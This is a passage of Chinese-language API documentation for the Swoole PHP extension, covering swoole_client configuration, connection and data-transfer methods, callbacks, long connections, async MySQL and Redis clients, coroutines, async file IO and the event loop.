$your_ssl_cert_file_path, 'ssl_key_file' => $your_ssl_key_file_path, )); 绑定IP和端口 机器有多个网卡的情况下,设置bind_address参数可以强制客户端Socket绑定某个网络地址。 设置bind_port可以使客户端Socket使用固定的端口连接到外网服务器 $client->set(array( 'bind_address' => '192.168.1.100', 'bind_port' => 36002, )); Socks5代理设置,socks5_username、socks5_password为可选参数 $client->set(array( 'socks5_host' => '192.168.1.100', 'socks5_port' => 1080, 'socks5_username' => 'username', 'socks5_password' => 'password', )); Http代理设置 $client->set(array( 'http_proxy_host' => '192.168.1.100', 'http_proxy_port' => 1080, )); 使用说明 目前支持open_length_check和open_eof_check2种自动协议处理功能,参考swoole_server中的配置选项 启用了自动协议后,同步阻塞客户端recv方法将不接受长度参数,每次必然返回一个完整的数据包;异步非阻塞客户端onReceive每次必然返回一个完整的数据包 【 swoole_client->on 】 注册异步事件回调函数。 int swoole_client::on(string $event,mixed $callback); 参数1为事件类型,支持connect/error/receive/close 4种 参数2为回调函数,可以是函数名字符串、匿名函数、类静态方法、对象方法。 同步阻塞客户端一定不要使用on方法 调用swoole_client->close()时会自动退出事件循环 UDP协议的connect事件在执行完connect方法后立即被回调,UDP没有close事件
【 swoole_client->connect 】
bool $swoole_client->connect(string $host,int $port,float $timeout=0.5,int $flag=0)
连接到远程服务器
$host是远程服务器的地址,可直接传入域名
$port是远程服务器端口
$timeout是网络IO的超时,包括connect/send/recv,单位是s,支持浮点数,默认为0.5s
$flag参数在UDP类型时表示是否启用udp_connect,设定此选项后将绑定$host与$port,此UDP将会丢弃非指定host/port的数据包。
$flag参数在TCP类型,$flag=1表示设置为非阻塞socket,connect会立即返回。如果将$flag设置为1,那么在send/recv前必须使用swoole_client_select来检测是否完成了连接
同步模式
connect方法会阻塞,直到连接成功并返回true,这时候就可以向服务器端发送数据或收取数据了,连接失败会返回false
同步TCP客户端在执行close后,可以再次发起Connect创建新连接到服务器
if ($cli->connect('127.0.0.1',9501)) {
$cli->send("data");
} else {
echo "connect failed.";
}
异步模式
connect会立即返回true,但实际上连接并未建立,所以不能在connect后使用send,通过isConnected()判断也是false。
当连接成功后,系统会自动回调onConnect,这时才可以使用send向服务器发送数据。
异步客户端执行connect时会增加一次引用计数,当连接关闭时会减少引用计数
低于1.9.11的版本,$timeout超时设置$timeout在异步客户端中是无效的,应用层需要用Timer::after自行添加定时器来实现异步客户端的链接超时控制
1.9.11或更高版本,底层会自动添加定时器,在规定的时间内未连接成功,底层会触发onError连接失败事件,错误码为ETIMEOUT(110)
失败重连
connect失败后如果希望重连一次,必须先进行close关闭旧的socket,否则会返回EINPROCESS错误,因为当前的socket正在连接服务器,客户端并不知道是否连接成功,所以无法再次执行connect。调用close会关闭当前的socket,底层重新创建新的socket来进行连接。
启用SWOOLE_KEEP长连接后,close调用的第一个参数要设置为true表示强行销毁长连接socket
if ($socket->connect('127.0.0.1',9502) === false) {
$socket->close(true);
$socket->connect('127.0.0.1',9502);
}
UDP Connect
默认底层并不会启用udp connect,一个UDP客户端执行connect时,底层在创建socket后会立即返回成功。这时此socket绑定的地址是0.0.0.0,任何其他对端均可向此端口发送数据包。
如$client->connect('192.168.1.100',9502),这时操作系统为客户端socket随机分配了一个端口58232,其他机器如192.168.1.101也可以向这个端口发送数据包。
未开启udp connect,调用getsockname返回的host项为0.0.0.0
将第4项参数设置为1,启用udp connect,$client->connect('192.168.1.100',9502,1,1)。这时将会绑定客户端和服务器端,底层会根据服务器端的地址来绑定socket绑定的地址。如连接了192.168.1.100,当前socket会被绑定到192.168.1.*的本机地址上。启用udp connect后,客户端将不再接收其他主机向此端口发送的数据包。
【 swoole_client->isConnected 】
bool swoole_client->isConnected()
返回swoole_client的连接状态,返回false表示当前未连接到服务器,返回true表示当前已连接到服务器
isConnected方法返回的是应用层状态,只表示Client执行了connect并成功连接到了Server,并且没有执行close关闭连接。Client可以执行send、recv、close等操作,但不能再次执行connect。
但不代表连接一定是可用的,当执行send或recv时仍然有可能返回错误,因为应用层无法获得底层TCP连接的状态,执行send或recv时应用层与内核发生交互才能得到真实的连接可用状态。
【 swoole_client->getSocket 】
调用此方法可以得到底层的socket句柄,返回的对象为sockets资源句柄。
此方法需要依赖PHP的sockets扩展,并且编译swoole时需要开启--enable-sockets选项
使用socket_set_option函数可以设置更底层的一些socket参数。
$socket = $client->getSocket();
if (!socket_set_option($socket,SOL_SOCKET,SO_REUSEADDR,1)) {
echo 'Unable to set option on socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}
【 swoole_client->getSockName 】
array swoole_client->getsockname();
用于获取客户端socket的本地host:port,必须在连接之后才可以使用。
调用成功返回一个数组,如array('host' => '127.0.0.1','port' => 53652)
【 swoole_client->getPeerName 】
bool swoole_client->getpeername();
获取对端socket的IP地址和端口,仅支持SWOOLE_SOCK_UDP/SWOOLE_SOCK_UDP6类型的swoole_client对象。
UDP协议通信客户端向一台服务器发送数据包后,可能并非由此服务器向客户端发送响应。可以使用getpeername方法获取实际响应的服务器IP:PORT。
此函数必须在$client->recv()之后调用
【 swoole_client->getPeerCert 】
function swoole_client->getPeerCert()
获取服务器端证书信息,执行成功返回一个X509证书字符串信息,执行失败返回false
必须在SSL握手完成后才可以调用此方法
可以使用openssl扩展提供的openssl_x509_parse函数解析证书的信息
需要在编译swoole时启用--enable-openssl
【 swoole_client->send 】
int $swoole_client->send(string $data);
发送数据到远程服务器,必须在建立连接后才可向Server发送数据
$data参数为字符串,支持二进制数据
成功发送返回的已发数据长度,失败返回false,并设置$swoole_client->errCode
异步模式下如果SOCKET缓存区已满,Swoole的处理逻辑请参考swoole_event_write
如果未执行connect就调用send会触发PHP警告
同步客户端
发送的数据没有长度限制
发送的数据太大Socket缓存区塞满,底层会阻塞等待可写
异步客户端
发送数据长度受到socket_buffer_size限制
【 swoole_client->sendto 】
bool swoole_client->sendto(string $ip,int $port,string $data);
向任意IP:PORT的主机发送UDP数据包,仅支持SWOOLE_SOCK_UDP/SWOOLE_SOCK_UDP6类型的swoole_client对象。
$ip,目标主机的IP地址,支持IPv4/IPv6
$port,目标主机端口
$data,要发送的数据内容,不得超过64K
【 swoole_client->sendfile 】
bool swoole_client->sendfile(string $filename,int $offset = 0,int $length = 0)
发送文件到服务器,本函数是基于sendfile操作系统调用实现
sendfile不能用于UDP客户端和SSL隧道加密连接
如果传入的文件不存在将返回false,执行成功返回true
参数
$filename指定要发送文件的路径
$offset 上传文件的偏移量,可以指定从文件的中间部分开始传输数据,此特性可用于支持断点续传。
$length 发送数据的尺寸,默认为整个文件的尺寸
如果是同步client,sendfile会一直阻塞直到整个文件发送完毕或者发生致命错误
如果是异步client,sendfile会异步发送,当发生致命错误时会回调onError
【 swoole_client->recv 】
从服务器端接收数据
//低于1.7.22
string $swoole_client->recv(int $size = 65535,bool $waitall = 0);
//1.7.22或更高
string $swoole_client->recv(int $size = 65535,int $flags = 0);
$size,接收数据的缓存区最大长度,此参数不要设置过大,否则会占用较大内存
$waitall,是否等待所有数据到达后返回
如果设定了$waitall就必须设定准确的$size,否则会一直等待,直到接收的数据长度达到$size
未设置$waitall=true时,$size最大为64K
如果设置了错误的$size,会导致recv超时,返回false
Flags
1.7.22版本后第二个$waitall参数修改为$flags,可以接收一些特殊的SOCKET接收设置。为了兼容旧的接口,如果$flags=1则表示$flags = swoole_client::MSG_WAITALL
$client->recv(8192,swoole_client::MSG_PEEK | swoole_client::MSG_WAITALL);
成功收到数据返回字符串
连接关闭返回空字符串
失败返回false,并设置$client->errCode属性
EOF/Length
客户端启用了EOF/Length检测后,无需设置$size和$waitall参数,扩展层会返回完整的数据包或返回false。
当收到错误的包头或包头中长度值超过package_max_length设置时,recv会返回空字符串,PHP代码中应当关闭此连接
【 swoole_client->close 】
bool $swoole_client->close(bool $force = false);
关闭连接,swoole_client对象在析构时会自动close
操作成功返回true,当一个swoole_client连接被close后不要再次发起connect,正确的做法是销毁当前的swoole_client,重新创建一个swoole_client并发起新的连接。
第一个参数设置为true表示强制关闭连接,可用于关闭SWOOLE_KEEP长连接
异步客户端
客户端close会立即关闭连接,如果发送队列中仍然有待数据,底层会丢弃。请勿在大量发送数据后立即close,否则发送的数据未必能真正到达服务器端。
错误实例客户端发送了4M数据,实际传输可能需要一段时间。这时立即进行了close操作,可能只有小部分数据传输成功。大部分数据在发送队列中排队等待发送,close时会丢弃这些数据。 解决方案 1、配合使用onBufferEmpty,等待发送队列为空时进行close操作 2、协议设计为onReceive收到数据后主动关闭连接,发送数据时对端主动关闭连接
【 swoole_client->sleep 】 function swoole_client->sleep() 调用此方法会从事件循环中移除当前socket的可读监听,停止接收数据。 此方法仅停止从socket中接收数据,但不会移除可写事件,所以不会影响发送队列 sleep操作与wakeup作用相反,使用wakeup方法可以重新监听可读事件使用示例同步客户端异步客户端
Swoole_Client回调函数
UDP客户端 UDP没有连接和关闭的概念,因此onConnect事件会在UDP客户端创建后立即执行,onClose事件会在UDP客户端close时立即执行 【 onConnect 】 function onConnect(swoole_client $client) 客户端连接服务器成功后会回调此函数。 TCP客户端必须设置onConnect回调 UDP客户端可选设置onConnect,socket创建成功会立即回调onConnect 【 onError 】 function onError(swoole_client $client) 连接服务器失败时会回调此函数。 UDP客户端没有onError回调 【 onReceive 】 function onReceive(swoole_client $client,string $data) 客户端收到来自于服务器端的数据时会回调此函数 $data 是服务器端发送的数据,可以为文本或者二进制内容 swoole_client启用了eof/length检测后,onReceive一定会收到一个完整的数据包 【 onClose 】 function onClose(swoole_client $client) 连接被关闭时回调此函数。 Server端关闭或Client端主动关闭都会触发onClose事件 【 onBufferFull 】 function onBufferFull(Swoole\Client $cli); 当缓存区达到最高水位时触发此事件。 设置client->buffer_high_watermark选项来控制缓存区高水位线 触发onBufferFull表明发送队列已触顶即将塞满,不能再向服务器端发送数据 【 onBufferEmpty 】 function onBufferEmpty(Swoole\Client $cli); 当缓存区低于最低水位线时触发此事件。 设置client->buffer_low_watermark来控制缓存区低水位线 触发此事件后,表明当前发送队列中的数据已被发出,可以继续向服务器端发送数据
Swoole_Client属性
【 swoole_client->errCode 】
类型为int型。当connect/send/recv/close失败时会自动设置$swoole_client->errCode的值。
errCode的值等于Linux errno,可使用socket_strerror将错误码转为错误信息。
echo socket_strerror($client->errCode);
【 swoole_client->sock 】
类型为int。sock属性是此socket的文件描述符,在PHP代码中可以使用
$sock = fopen("php://fd/".$swoole_client->sock);
$client->sock属性值仅在$client->connect后才能取到,在未连接服务器之前此属性的值为null。
将swoole_client的socket转换成一个stream socket,可以调用fread/fwrite/fclose等函数进程操作。
swoole_server中的$fd不能用此方法转换,因为$fd只是一个数字,$fd文件描述符属于主进程
$swoole_client->sock可以转换成int作为数组的key
【 swoole_client->reuse 】
类型: boolean,表示此连接是新创建的还是复用已存在的,与SWOOLE_KEEP配合使用。
使用场景
WebSocket客户端与服务器建立连接后需要进行握手,如果连接是复用的,那就不需要再次进行握手,直接发送WebSocket数据帧即可。
if ($client->reuse){
$client->send($data);
}else{
$client->doHandShake();
$client->send($data);
}
Swoole_Client并行
【 swoole_client_select 】 int swoole_client_select(array &$read,array &$write,array &$error,float $timeout); swoole_client的并行处理中用了select来做IO事件循环。 swoole_client_select接受4个参数,$read、$write、$error分别是可读/可写/错误的文件描述符。 这3个参数必须是数组变量的引用。数组的元素必须为swoole_client对象或swoole_process对象 $timeout参数是select系统调用的超时时间,单位为秒,接受浮点数 此方法基于select系统调用,最大支持1024个socket 调用成功后会返回事件的数量,并修改$read/$write/$error数组。使用foreach遍历数组,然后执行$item->recv/$item->send来收发数据,或者调用$item->close()或unset($item)来关闭socket。 swoole_client_select返回0表示在规定的时间内,没有任何IO可用,select调用已超时。 此函数可以用于Apache/PHP-fpm环境swoole_client用法swoole_process用法
【 TCP客户端异步连接 】 通过使用on方法注册异步回调函数。多个swoole_client可以嵌套回调。异步模式仅可用于cli模式,如在swoole_process或swoole_server中。
【 SWOOLE_KEEP建立TCP长连接 】
swoole_client支持在php-fpm/apache中创建一个TCP长连接到服务器端。使用方法:
$client = new swoole_client(SWOOLE_SOCK_TCP | SWOOLE_KEEP);
$client->connect('127.0.0.1',9501);
启用SWOOLE_KEEP选项后,一个请求结束不会关闭socket,下一次再进行connect时会自动复用上次创建的连接。如果执行connect发现连接已经被服务器关闭,那么connect会创建新的连接。
SWOOLE_KEEP的优势
TCP长连接可以减少connect 3次握手/close 4次挥手带来的额外IO消耗
降低服务器端close/connect次数
使用异步客户端
PHP提供的MySQL、CURL、Redis等客户端是同步的,会导致服务器程序发生阻塞,Swoole提供了常用的异步客户端组件来解决此问题。编写纯异步服务器程序时,可以使用这些异步客户端。 异步客户端可以配合使用SplQueue实现连接池,以达到长连接复用的目的。在实际项目中可以使用PHP提供的Yield/Generator语法实现半协程的异步框架,也可以基于Promises简化异步程序的编写 Swoole底层目前只提供了最常用的MySQL、Redis、Http异步客户端,如果应用程序中需要实现其他协议客户端,如Kafka、AMQP等协议,可以基于Swoole\Client异步TCP客户端,开发相关协议解析代码来自行实现
Swoole异步MySQL
MySQL异步指将MySQL连接事件驱动化,这样就编程了非阻塞IO。使用Swoole可以实现mysql异步链接,Mysql连接池等。 与mysqli和PDO等客户端不同,Swoole\MySQL是异步非阻塞的,连接服务器、执行SQL时需要传入一个回调函数。connect的结果不在返回值中,而是在回调函数中。query的结果也需要在回调函数中进行处理
【 MySQL长连接 】 MySQL短连接每次请求操作数据库都需要建立与MySQL服务器建立TCP连接,这是需要时间开销的,TCP连接需要3次网络通信,这样就增加了一定的延时和额外的IO消耗。请求结束后会关闭MySQL连接,还会发生3/4次网络通信。close操作不会增加响应延时,原因是close后是由操作系统自动进行通信的,应用程序感知不到 长连接就可以避免每次请求都创建连接的开销,节省了时间和IO消耗,提升了PHP程序的性能。 断线重连 在cli环境下PHP程序需要长时间运行,客户端与MySQL服务器之间的TCP连接是不稳定的。 MySQL-Server会在一定时间内自动切断连接 PHP程序遇到空闲期时长时间没有MySQL查询,MySQL-Server也会切断连接回收资源 其他情况在MySQL服务器中执行kill process杀掉某个连接,MySQL服务器重启,这时PHP程序中的MySQL连接就失效了。如果仍然执行mysql_query,就会报一个"MySQL server has gone away"的错误,程序处理不当就直接遇到致命错误并退出了,所以PHP程序中需要断线重连。 有很多人提出了mysql_ping的方案,每次mysql_query进行连接检测或定时连接检测,这个方案不是最好的,原因是mysql_ping需要主动侦测连接,带来了额外的消耗;定时执行mysql_ping不能解决问题,如刚刚执行过mysql_ping检测之后连接就关闭了 最佳的方案是进行断线重连,原理是: 1、mysql_query执行后检测返回值 2、如果mysql_query返回失败,检测错误码发现为2006/2013 表示连接失败,再执行一次mysql_connect 3、执行mysql_connect后,重新执行mysql_query,这时必然会成功,因为已经重新建立了连接 4、如果mysql_query返回成功,那么连接是有效的,这是一次正常的调用 【 MySQL异步 】 MySQL异步是指将MySQL连接事件驱动化,这样就编程了非阻塞IO。数据库操作并不会阻塞进程,在MySQL-Server返回结果时再执行对应的逻辑。 异步MySQL并没有节省SQL执行的时间 一个MySQL连接同时只能执行1个SQL,如果异步MySQL存在并发那么必须创建多个MySQL连接 异步回调程序中,异步MySQL并没有提升性能。异步最大的好处是可以高并发,如果并发1万个请求,那么就需要建立1万个MySQL连接,这会给MySQL-Server带来巨大的压力。 MySQL是根据连接数分配资源的,一个连接需要开启一个线程,线程数量增加后线程间切换会占用大量CPU资源 MySQL短连接反而不会出现此问题,因为短连接在使用完后就释放了,不会占用MySQL-Server的连接资源 虽然应用层代码使用异步回调避免了自身的阻塞,实际上真正的瓶颈是数据库服务器。异步MySQL还带来了额外的编程复杂度,所以除非是特殊场景的需求,否则不建议使用异步MySQL。 如果程序中坚持要使用异步,那么必须是异步MySQL+连接池的形式。超过规定的MySQL最大连接后,应当对SQL请求进行排队,而不是创建新连接,避免大量并发请求导致MySQL服务器崩溃。 【 MySQL连接池 】 连接池是��以有效降低MySQL-Server负载的。原理是连接池使用一个共享资源的模式,如并发100个请求,实际上并不是每个请求的所有时间都在执行SQL查询。这样100个请求共享20个MySQL连接就可以满足需求了。当一个请求操作完数据库后,开始进入模板渲染等流程,这时就会释放数据库连接给其他的请求使用。 连接池仅在超大型应用中才有价值。普通的应用采用MySQL长连接方案,每个php-fpm创建一个MySQL连接,每台机器开启100个php-fpm进程。如果有10台机器,每台机器并发的请求为100。实际上只需要创建1000个MySQL连接就能满足需求,数据库的压力并不大。即使有100台机器,硬件配置好的存储服务器依然可以承受。 达到数百或者数千台应用服务器时,MySQL服务器就需要维持十万级的连接。这时数据库的压力就会非常大了。连接池技术就可以派上用场了,可以大大降低数据库连接数。 基于swoole的AsyncTask模块实现的连接池是完美方案,编程简单,没有数据同步和锁的问题,甚至可以多个服务共享连接池。 缺点 1,灵活性不如多线程连接池,无法动态增减连接。 2,有一次进程间通信的开销。 node.js/ngx_lua等在多进程的模式下,无法开发出真正的连接池,除非也像swoole_task这样来实现 【 swoole_mysql->connect 】 function swoole_mysql->connect(array $serverConfig,callable $callback); 异步连接到MySQL服务器。 $serverConfig为MySQL服务器的配置,必须为关联索引数组 $server = array( 'host' => '192.168.56.102', // MySQL服务器的主机地址,支持IPv6(::1)和UnixSocket(unix:/tmp/mysql.sock) 'port' => 3306, // MySQL服务器监听的端口,选填,默认为3306 'user' => 'test', // 用户名,必填 'password' => 'test', // 密码,必填 'database' => 'test', // 连接的数据库,必填 'charset' => 'utf8', // 设置客户端字符集,选填,默认使用Server返回的字符集,如果字符串不存在底层会抛出Swoole\MySQL\Exception异常 ); $callback连接完成后回调此函数 function onConnect(swoole_mysql $db,bool $result); $db为swoole_mysql对象 $result连接是否成功,只有为true时才可以执行query查询 $result为false可以通过connect_errno和connect_error得到失败的错误码和错误信息
Swoole redis Server
Swoole-1.8.14版本增加一个兼容Redis服务器端协议的Server框架,可基于此框架实现Redis协议的服务器程序。 Swoole\Redis\Server继承自Swoole\Server,可调用父类提供的所有方法。 Redis\Server不需要设置onReceive回调。只需使用setHandler方法设置对应命令的处理函数,收到未支持的命令后会自动向客户端发送ERROR响应,消息为ERR unknown command '$command' 【 Redis\Server->setHandler 】 设置Redis命令字的处理器 function Redis\Server->setHandler(string $command,callable $callback); $command 命令的名称 $callback 命令的处理函数,回调函数返回字符串类型时会自动发送给客户端,返回的数据必须为Redis格式,可使用format静态方法进行打包 【 Redis\Server::format 】 格式化命令响应数据。 function Redis\Server::format(int $type,mixed $value = null); $type表示数据类型,NIL类型不需要传入$value,ERROR和STATUS类型$value可选,INT、STRING、SET、MAP必选 格式参数常量 主要用于format函数打包Redis响应数据 Server::NIL 返回nil数据 Server::ERROR 返回错误码 Server::STATUS 返回状态 Server::INT 返回整数,,format必须传入参数值,类型必须为整数 Server::STRING 返回字符串,format必须传入参数值,类型必须为字符串 Server::SET 返回列表,format必须传入参数值,类型必须为数组 Server::MAP 返回Map,format必须传入参数值,类型必须为关联索引数组 【 可用的客户端 】 任意编程语言的redis客户端,包括PHP的redis扩展和phpredis库 Swoole扩展提供的异步Redis客户端 Redis提供的命令行工具,包括redis-cli、redis-benchmark Swoole-1.8.0版本增加了对异步Redis客户端的支持,基于redis官方提供的hiredis库实现。Swoole提供了__call魔术方法来映射绝大部分Redis指令。 Swoole\Redis需要Swoole编译安装hiredis 编译安装hiredis,hiredis下载地址: https://github.com/redis/hiredis/releases 使用Redis客户端,需要安装hiredis库。下载hiredis源码后,执行 make -j sudo make install sudo ldconfig 启用异步Redis客户端 编译swoole是,在configure指令中加入--enable-async-redis ./configure --enable-async-redis make clean make -j sudo make install在2.0协程版本中,无法使用return返回值的方式发送响应结果。应当使用$server->send方法发送数据异步http客户端: Swoole\Http\Client的作用与CURL完全一致,它完整实现了Http客户端的相关功能
协程客户端
4.x版本中协程取代了异步回调,作为推荐使用的编程方式。 协程解决了异步回调编程困难的问题,使用协程可以以传统同步编程的方法编写代码,底层自动切换异步IO,既保证了编程的简单性,又可借助异步IO,提升系统的并发能力。 协程编程与同步阻塞模式的程序完全一致的,但是底层自动进行了协程切换处理变为异步IO。因此: 服务器可以应对大量并发,每个请求都会创建一个新的协程,执行对应的代码 某些请求处理较慢时,只会引起这一个请求被挂起,不影响其他请求的处理 适用场景 1、高并发服务,如秒杀系统、高性能API接口、RPC服务器,使用协程模式,服务的容错率会大大增加,某些接口出现故障时,不会导致整个服务崩溃 2、爬虫,可实现非常巨大的并发能力,即使是非常慢速的网络环境,也可以高效地利用带宽 3、即时通信服务,如IM聊天、游戏服务器、物联网、消息服务器等等,可以确保消息通信完全无阻塞,每个消息包均可即时地被处理 Swoole4扩展提供了丰富的协程组件,如Redis、TCP/UDP/Unix客户端、Http/WebSocket/Http2客户端,使用这些组件可以很方便地实现高性能的并发编程
Swoole AsyncIO异步文件读写
swoole1.6.12后增加了异步文件读写,异步DNS等特性,自此建立了完整的异步并行API。 swoole_server的Task进程是同步阻塞的,没有EventLoop,因此无法使除定时器之外的用任何异步IO ignalfd是Linux2.6.27提供文件句柄方式处理信号特性,优点是可以将信号加入到EventLoop中,Reactor操作不会被 打断提高了性能。缺点是有些同步阻塞的程序可能会出现问题,无法从阻塞中中断,可以使用swoole_async_set关 ignalfd特性 Swoole支持3种类型的异步文件读写IO,可以使用swoole_async_set来设置AIO模式。 swoole_async_set(array $setting); 此函数可以设置异步IO相关的选项。 thread_num 设置异步文件IO线程的数量 aio_mode 设置异步文件IO的操作模式,目前支持2种模式SWOOLE_AIO_BASE( 类似于Node.js的线程池同步阻塞模拟异步)、SWOOLE_AIO_LINUX(Linux Native AIO) enable_signalfd 开启和关闭signalfd特性的使用 socket_buffer_size 设置SOCKET内存缓存区尺寸 socket_dontwait 在内存缓存区已满的情况下禁止底层阻塞等待 Linux Native AIO的优点是由内核支持是真正的异步文件IO,缺点是只支持DirectIO,无法利用到系统的PageCache woole_async模块目前为实验性质,不建议在生产环境使用,请使用PHP的文件读写函数。 【 Linux原生异步IO 】 基于Linux Native AIO系统调用,是真正的异步IO,并非阻塞模拟。 优点: 所有操作均在一个线程内完成,不需要开线程池 依赖线程执行IO,所以并发可以非常大 缺点: 只支持DriectIO,无法利用PageCache,所有对文件读写都会直接操作磁盘 【 线程池模式异步IO 】 基于线程池模拟实现,文件读写请求投递到任务队列,然后由AIO线程读写文件,完成后通知主线程。AIO线程本身是同步 的。所以并非真正的异步IO。 优点: 可以利用操作系统PageCache,读写热数据性能非常高,等于读内存 修改thread_num项设置启用的AIO线程数量 缺点: 并发较差,不支持同时读写大量文件,最大并发受限与AIO的线程数量
【 swoole_async_readfile 】
异步读取文件内容
//函数风格
swoole_async_readfile(string $filename,mixed $callback);
//命名空间风格
Swoole\Async::readFile(string $filename,mixed $callback);
文件不存在会返回false,成功打开文件立即返回true,数据读取完毕后会回调指定的callback函数。
swoole_async_readfile(__DIR__."/server.php",function($filename,$content) {
echo "$filename: $content";
});
swoole_async_readfile会将文件内容全部复制到内存,所以不能用于大文件的读取
如果要读取超大文件,请使用swoole_async_read函数
swoole_async_readfile最大可读取4M的文件,受限于SW_AIO_MAX_FILESIZE宏
【 swoole_async_writefile 】
异步写文件,调用此函数后会立即返回。当写入完成时会自动回调指定的callback函数。
Swoole\Async::writeFile(string $filename,string $fileContent,callable $callback = null,int $flags = 0)
swoole_async_writefile('test.log',$file_content,function($filename) {
echo "wirte ok.\n";
},$flags = 0);
参数1为文件的名称,必须有可写权限,文件不存在会自动创建。打开文件失败会立即返回false
参数2为要写入到文件的内容,最大可写入4M
参数3为写入成功后的回调函数,可选
参数4为写入的选项,可以使用FILE_APPEND表示追加到文件末尾
如果文件已存在,底层会覆盖旧的文件内容
Linux原生异步IO不支持FILE_APPEND,并且写入的内容长度必须为4096的整数倍,否则底层会自动在末尾填充0
【 swoole_async_read 】
异步读文件,使用此函数读取文件是非阻塞的,当读操作完成时会自动回调指定的函数。
此函数与swoole_async_readfile不同,它是分段读取,可以用于读取超大文件。每次只读$size个字节,不会占用太多内存。
bool swoole_async_read(string $filename,mixed $callback,int $size = 8192,int $offset = 0);
在读完后会自动回调$callback函数,回调函数接受2个参数:
bool callback(string $filename,string $content);
$filename,文件名称
$content,读取到的分段内容,如果内容为空,表明文件已读完
$callback可通过return true/false来控制是否继续读下一段内容。
return true,继续读取
return false,停止读取并关闭文件
【 swoole_async_write 】
异步写文件,与swoole_async_writefile不同,swoole_async_write是分段写的。不需要一次性将要写的内容放到内存里,所以只占用少量内存。swoole_async_write通过传入的offset参数来确定写入的位置。
bool swoole_async_write(string $filename,string $content,int $offset = -1,mixed $callback = NULL);
当offset为-1时表示追加写入到文件的末尾
Linux原生异步IO不支持追加模式,并且$content的长度和$offset必须为512的整数倍。如果传入错误的字符串长度或者$offset写入会失败,并且错误码为EINVAL
【 swoole_async::exec 】
异步执行Shell命令。相当于shell_exec函数,执行后底层会fork一个子进程,并执行对应的command命令。
function swoole_async::exec(string $command,callable $callback);
$command为执行的终端指令,如ls
执行成功后返回子进程的PID
命令执行完毕子进程退出后会回调指定的$callback函数,回调函数接收2个参数,第一个参数为命令执行后的屏幕输出内容$result,第二个参数为进程退出的状态信息$status
fork创建子进程的操作代价是非常昂贵的,系统无法支撑过大的并发量
使用exec时请勿使用pcntl_signal或swoole_process::signal注册SIGCHLD函数执行wait操作,否则在命令回调函数中状态信息$status将为false
$pid = Swoole\Async::exec("ps aux",function ($result,$status) {
var_dump(strlen($result),$status);
});
var_dump($pid);
EventLoop
除了异步Server和Client库之外,Swoole扩展还提供了直接操作底层epoll/kqueue事件循环的接口。可将其他扩展创建的socket,PHP代码中stream/socket扩展创建的socket等加入到Swoole的EventLoop中。 IO多路复用 epoll函数会监听注册在自己名下的所有socket描述符 当有socket感兴趣的事件发生时epoll函数才会响应并返回有事件发生的socket集合 epoll本质是阻塞IO,优点是能同时处理大量的socket连接 eventloop是一个Reactor线程,其中运行了一个epoll实例 可通过接口添加socket描述符到epoll监听中并指定事件响应的回调函数 eventloop不可用于fpm环境中,因为fpm环境中响应结束后进程就关闭了 开启eventloop后程序内会启动一个线程并一直阻塞在epoll的监听上,因此程序不会退出 显式调用swoole_event_exit函数即可关闭事件循环 事件优先级 通过Process::signal设置的信号处理回调函数 通过Event::defer设置的延迟执行函数 通过Timer::tick和Timer::after设置的定时器回调函数 通过Event::cycle设置的周期回调函数 新版本 在2.1.2或1.10.3版本中调整了2和3的顺序,优先执行定时器。 通过Process::signal设置的信号处理回调函数 通过Timer::tick和Timer::after设置的定时器回调函数 通过Event::defer设置的延迟执行函数 通过Event::cycle设置的周期回调函数 【 swoole_event_add 】 将一个socket加入到底层的reactor事件监听中,底层会自动将该socket设置为非阻塞模式 此函数可以用在Server或Client模式下 已添加过的socket不能重复添加,可以使用swoole_event_set修改socket对应的回调函数和事件类型 添加事件监听成功成功返回true;添加失败返回false,使用swoole_last_error获取错误码 bool swoole_event_add(mixed $sock,mixed $read_callback,mixed $write_callback=null,int $flags=null); 当描述符中有可读数据时执行$read_callback回调,可写时执行$write_callback回调 参数1$sock可以为以下四种类型: STDIN、STDOUT int就是文件描述符,包括swoole_client->$sock、swoole_process->$pipe或其他fd stream资源就是stream_socket_client/fsockopen创建的资源 sockets资源就是sockets扩展中socket_create创建的资源,需要在编译时加入./configure --enable-sockets objectsw是oole_process或swoole_client,底层自动转换为管道或客户端连接的socket 参数2$read_callback为可读事件回调函数 参数3$write_callback为可写事件回调函数,此参数可以是字符串函数名、对象+方法、类静态方法或匿名函数,当此socket可读或者可写时回调指定的函数。 参数4$flags为事件类型的掩码,可选择关闭/开启可读可写事件,如SWOOLE_EVENT_READ,SWOOLE_EVENT_WRITE或SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE 在Server程序中使用时必须在Worker进程启动后使用。在Server::start之前不得调用任何异步IO接口进程事件
回调函数 在可读事件回调函数中必须使用fread、recv等函数读取socket缓存区中的数据,否则事件会持续触发,如果不希望继续读取必须使用Swoole\Event::del移除事件监听 在可写事件回调函数中,写入socket之后必须调用Swoole\Event::del移除事件监听,否则可写事件会持续触发 执行fread、socekt_recv、socket_read、Swoole\Client::recv返回false,并且错误码为EAGAIN时表示当前socket接收缓存区内没有任何数据,这时需要加入可读监听等待EventLoop通知 执行fwrite、socket_write、socket_send、Swoole\Client::send操作返回false,并且错误码为EAGAIN时表示当前socket发送缓存区已满,暂时不能发送数据。需要监听可写事件等待EventLoop通知 【 swoole_event_set 】 修改事件监听的回调函数和掩码 bool swoole_event_set($fd,mixed $read_callback,mixed $write_callback,int $flags); 参数与swoole_event_add完全相同,如果传入$fd在EventLoop中不存在返回false。 当$read_callback不为null时,将修改可读事件回调函数为指定的函数 当$write_callback不为null时,将修改可写事件回调函数为指定的函数 $flags可关闭/开启,可写SWOOLE_EVENT_READ和可读SWOOLE_EVENT_WRITE事件的监听 如果监听了SWOOLE_EVENT_READ事件,而当前并未设置read_callback,底层会直接返回false,添加失败。SWOOLE_EVENT_WRITE同理。 状态变更 使用swoole_event_add或swoole_event_set设置了可读事件回调,但并未监听SWOOLE_EVENT_READ可读事件,这时底层仅保存回调函数的信息。并不会产生任何事件回调。 可以使用swoole_event_set($fd,null,null,SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE,修改监听的事件类型,这时底层会触发可读事件。 释放回调函数 swoole_event_set只能替换回调函数,但并不能释放事件回调函数。如: swoole_event_set($fd,null,null,SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE,参数中传入的read_callback和write_callback为null,表示不对swoole_event_add设置的回调函数进行修改,而不是将事件回调函数设为null。 只有调用swoole_event_del清除事件监听时,底层才会释放read_callback和write_callback事件回调函数。 【 swoole_event_isset 】 检测传入的$fd是否已加入了事件监听。 bool swoole_event_isset(mixed $fd,int $events = SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE); $fd: 任意的socket文件描述符 $events: 